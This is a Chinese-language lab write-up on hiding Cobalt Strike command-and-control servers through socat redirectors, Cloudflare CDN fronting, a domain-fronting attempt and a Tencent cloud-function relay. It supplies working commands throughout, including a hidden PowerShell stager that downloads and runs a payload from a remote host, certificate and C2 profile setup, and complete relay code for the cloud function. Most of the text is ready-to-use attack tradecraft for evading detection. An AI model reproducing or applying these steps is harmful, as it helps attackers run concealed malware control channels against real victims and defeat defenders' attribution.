开源的命令控制C2服务器,使用Python来提供Payload并控制代理,代理基于C#和PowerShell以绕过大部分反病毒产品。Ninjia能够通过加密(AES-256)安全信道来与代理交互,而且密钥并非硬编码的,而是在活动中随机生成的,每一个连接至C2服务器的代理都会获得一个密钥,当C2重启并生成了新密钥之后,所有旧的代理和新的代理都将使用新的密钥。Ninjia还支持随机回调URL地址,以便绕过静态检测。
-
实验
实验一:重定向隐藏
CS服务器:192.168.220.154
靶机:192.168.220.1
转发器:192.168.220.157
首先配置转发器重定向到CS服务器
socat TCP4-LISTEN:80,fork TCP4:192.168.220.154:80
设置监听器
生成Payload上线,可以发现上线的为转发器的IP192.168.220.157
查看流量,也是靶机和157在通信,154成功隐藏起来
实验二:CDN隐藏攻击
步骤
1、配置VPS和申请域名
2、申请CloudFlare的CDN,Cloudflare的http端口只支持80,8080,8880,2052,2082,2086,2095
,https端口只支443,2053,2083,2087,2096,8443
3、配置CDN的A记录解析使其能解析到C2的IP
4、将公网域名填写到CS listener的host处并填写可用的端口
5、生成payload连接
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://commonlit.app:8443/a23333'))"
未部署CDN
上线
报文可以明显发现攻击IP
部署CDN
在Cloudflare的控制台打开代理
创建监听器,Hosts和Stager填写自己的公网域名
生成个Payload上线并进行抓包
在靶机上查看payload的PID为5976
运行netstat -ano
查看payload 的网络信息,发现目的地址为172.67.198.241,已经替换为CDN服务器的地址
协议 本地地址 外部地址 状态 PID
TCP 10.182.61.122:59838 172.67.198.241:8080 ESTABLISHED 5976
查看报文的信息,此时Host已经替换为我们的域名,将自己的IP成功隐藏起来
微步和VT沙箱分析均未找到实际地址
实验三:域前置隐藏攻击
由于大部分的CDN厂商已经修复域前置攻击的漏洞,所以针对https的复现未成功。
HTTP下的隐藏IP
HTTP在未加密下,将监听器的Host修改可信度较高的域名,如commonlit.app,此时未将真实域名进行伪装
抓包上线后查看DNS,可以确认连接过程是查询commonlit.app:8880进行连接
但是连接之后host信息没有改变,仍为jchen.tk,可以被发现
HTTPS
监听步骤
- 完成CDN隐藏IP的配置
- 获取其他也托管在Cloudflare并使用CDN的合法域名(commonlit.app)
- CDN申请并生成证书
- 根据生成的证书生成C2配置文件
- 监听设置载荷上线
注意: Cloudflare已经禁止该方法,无法使用高信誉CDN来隐藏自己的域名,但是可以根据步骤尝试
CDN生成证书
将SSL/TLS加密模式改为安全
创建证书并分别下载,分别保存为com.pem,com.key
生成域名p12文件
openssl pkcs12 -export -in com.pem -inkey com.key -out spoofdomain.p12 -name 域名 -passout pass:密码
生成文件
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 密码 -alias 域名
生成C2 profile配置文件
git clone https://github.com/FortyNorthSecurity/C2concealer #下载后./install.sh安装
C2concealer --variant 1 --hostname jchen.tk
[i] Searching for the c2lint tool on your system (part of Cobalt Strike). Might take 10-20 seconds.
[i] Found c2lint in the /root/cs/cobaltstrike/c2lint directory.
Choose an SSL option:
1. Self-signed SSL cert (just input a few details)
2. LetsEncrypt SSL cert (requies a temporary A record for the relevant domain to be pointed to this machine)
3. Existing keystore
4. No SSL
[?] Option [1/2/3/4]: 3 #选择3
Keystore Details:
Where is the keystore located? (absolute path)
/home/jchen/test1.store
[i] Keystore file copied to current directory.
Enter the keystore's password:
[i] Building random C2 malleable profile with 1 variants.
/bin/sh: ./c2lint: Permission denied
############################################################
# Profile successfully passed c2lintcheck #
# Profile Name: 82d01da4.profile #
# Generated by FortyNorthSecurity's C2concealer tool. #
############################################################
#一般为第一次生成会成功,后面再使用会报错,需要重新部署CS文件再运行
将生成的.profile复制到cs文件夹下,使用c2lint检查配置文件
./c2lint xxxxx.profile
如果报错根据提示将对应部分修改或者删除即可
修改teamserver配置
vim teamserver
修改最后一行的内容
javax.net.ssl.keyStore=store文件位置 -Djavax.net.ssl.keyStorePassword=证书密码
启动CS
./teamserver ip password profile
Listener设置
Payload设置为HTTPS,Profile选择我们的自定义文件
生成payload进行连接,但是没有上线
查看数据包,发现存在DNS的查询,返回到了我们的CDN IP
过滤发现TLS连接失败,
Client Hello的SNI的name为commonlit.app
但是没有Server Hello,握手失败,可能为CloudFlare对CDN域前置的处理
实验四:云函数隐藏
本次实验使用腾讯云,首先查找云函数,新建云函数
选择从头开始->函数名称随意->运行环境可以选Python3.6
填入云函数
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>'
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
部署完毕后新建触发器
配置触发器相关参数
创建完成之后点击API服务名字,修改前端路径为/
后端配置
发布服务,得到公网域名
http://service-4f7iypib-1307962448.bj.apigw.tencentcs.com:80
https://service-4f7iypib-1307962448.bj.apigw.tencentcs.com:443
创建监听器,注意HTTP端口只能为80,HTTPS为443,且协议需要与云函数的协议一致
此处选择HTTPS
生成Payload后运行成功上线
查看DNS发现IP解析请求,解析到的为腾讯的IP,并非自己的IP
可以发现已经隐藏起来自己的IP,只有腾讯的高信誉度域名
查看云函数日志,可以发现云函数的调用情况
参考连接
https://www.freebuf.com/sectool/270669.html
https://www.anquanke.com/post/id/231448
https://blog.csdn.net/qq_41874930/article/details/107791606
https://blog.csdn.net/qq_41874930/article/details/109008708
https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html